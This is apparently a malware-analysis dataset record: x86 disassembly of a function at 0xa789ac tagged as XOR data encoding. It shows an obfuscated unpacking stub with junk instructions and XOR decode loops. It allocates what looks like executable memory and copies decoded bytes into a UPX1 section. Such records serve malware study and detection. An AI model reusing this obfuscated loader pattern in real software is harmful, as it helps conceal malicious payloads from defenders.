Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc9121430
not edi
add ecx, 1
popal
sub edi, ecx
sub edi, ecx
sub ecx, 0x8ed33aeb
mov ecx, 0
mov edx, ebx
add eax, 0x3e5666d1
add esi, esi
dec esi
mov edi, edx
sub eax, esi
sub eax, esi
add esi, 0xd1c66e9a
mov ebx, edi
add eax, 1
sub esi, eax
not esi
inc ecx
add esi, 0xfd311234
dec eax
inc eax
cmp ecx, 0x100dd57
jne 0xa789ca
not esi
or eax, esi
and ecx, ecx
or ecx, ecx
add ecx, edi
mov ecx, 0xa78796
add esi, 0x3e2c4135
add ebx, ebx
mov edx, 0xa7898a
mov eax, 0xcf5caff4
inc esi
mov eax, ebx
mov edi, dword [ecx]
and eax, ebx
mov esi, ebx
not esi
and edi, 0xff
and eax, esi
add esi, 0x965b6de0
or eax, ebx
xor dword [edx], edi
dec eax
add eax, 1
inc edx
and eax, ebx
not esi
or esi, eax
inc ecx
mov ebx, 0xfa4dc424
mov ebx, eax
cmp edx, entry0
jl 0xa78a26
dec esi
add ebx, 0x476bdefa
not ebx
or esi, ebx
not edi
sub edx, ebx
mov esi, 0xa7898e
not ecx
dec ecx
mov esi, dword [esi]
mov edi, 0x78dfef96
add edi, 0x8f23bdab
dec ecx
mov esi, dword [esi]
sub edi, 1
mov edi, 0x5294ba70
push esi
sub ebx, edi
and ebx, ebx
add edx, edi
mov esi, 0xa7898a
not ecx
add ecx, edi
mov esi, dword [esi]
add ecx, 0x68f5840c
sub ecx, 0x389addff
mov ecx, ebx
mov esi, dword [esi]
sub edx, 0x1656101a
not edx
mov ebx, 0x381e12fc
push 0xa78992
inc ebx
and edx, ebx
or edx, ebx
call esi
mov ebx, 0x6bacd854
sub ecx, 0x1f3c61d0
not ebx
pop esi
and ecx, edx
dec ebx
and ecx, ebx
push 0xa7899f
add ebx, ecx
sub ecx, ebx
push eax
add ebx, 1
sub ebx, ecx
not edi
call esi
sub ecx, edi
mov ebx, edi
sub esp, 4
mov dword [esp], 0x40
add ebx, 0x8920ae86
add edx, ebx
mov ebx, 0x66b9f838
push 0x3000
sub ebx, ecx
dec ecx
push 0x2000095c
sub ebx, 0xe3e53b49
and ebx, edi
push 0
dec ecx
sub ecx, 0x70ab7e43
call eax
and edi, ecx
sub ebx, ecx
add eax, 0x200008da
not edi
dec edi
mov esi, 0xb3eac6cb
add ecx, edi
or ebx, edx
and ebx, edi
mov dword [eax], esi
and ebx, edx
dec edi
mov esi, dword [eax]
mov edi, 0x1f63827a
mov edi, 0x98a6c3e7
cmp esi, 0xb3eac6cb
je 0xa78b6e
mov edx, 0
mov dword [edx], ecx
add ebx, 0xa80f5ca9
and edi, edi
add ebx, 0x819a5c62
sub ecx, ebx
inc ebx
mov edi, ecx
mov edi, 0x90e83c8a
add edi, edi
mov edx, section.UPX1
sub ecx, 0xfc3b4be4
dec edi
mov ebx, 0xa78795
mov ecx, 0x5c07f8c3
sub ecx, 1
add edi, edi
mov esi, 0
not edi
dec ecx
mov eax, 0xa78796
sub ecx, 1
not ecx
lea eax, [esi + eax]
add edi, edi
mov ecx, edi
mov eax, dword [eax]
and ecx, edi
mov edi, 0x7969b5a4
and eax, 0xff
sub ecx, 0xf6cbed59
or edi, edi
inc esi
and ecx, edi
mov ecx, 0x7585fcfd
add ecx, 0x18cf4045
cmp esi, 0x1f4
jne 0xa78bf4
mov esi, 0
sub edi, ecx
or ecx, edi
and ecx, edi
add edi, edi
add edi, 0xe616267c
xor dword [edx], eax
and ecx, edi
dec ecx
add ecx, 1
add edx, 2
not ecx
not ecx
cmp edx, ebx
jl 0xa78bae
dec ecx
inc ecx
add edi, ecx
mov ecx, edi
add edi, 0xe70ea1b1
mov edi, section.UPX1
sub ecx, ebx
add ecx, 0xb42f3c94
not ecx
mov eax, section.UPX1
dec ecx
add ecx, ecx
sub ecx, ebx
mov esi, 0xa78795
sub ebx, ecx
sub ecx, 0xc1a788a7
sub ecx, 0xb51c3abc
mov edx, 0
mov ebx, ecx
dec ecx
mov ebx, ecx
mov dl, byte [eax]
mov ebx, ecx
not ebx
mov byte [edi], dl
not ecx
or ecx, ecx
sub ecx, 0xfae08ff3
inc edi
mov ebx, ecx
add ebx, 0x338e3c7f
add ebx, 1
add eax, 2
mov ebx, 0x25ebdba
dec ecx
cmp eax, esi
jle 0xa78c61
sub ebx, 0x14356e07
sub ecx, ebx
mov edi, 0x9554d227
sub ecx, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
sub edi, ecx
and ecx, ecx
ret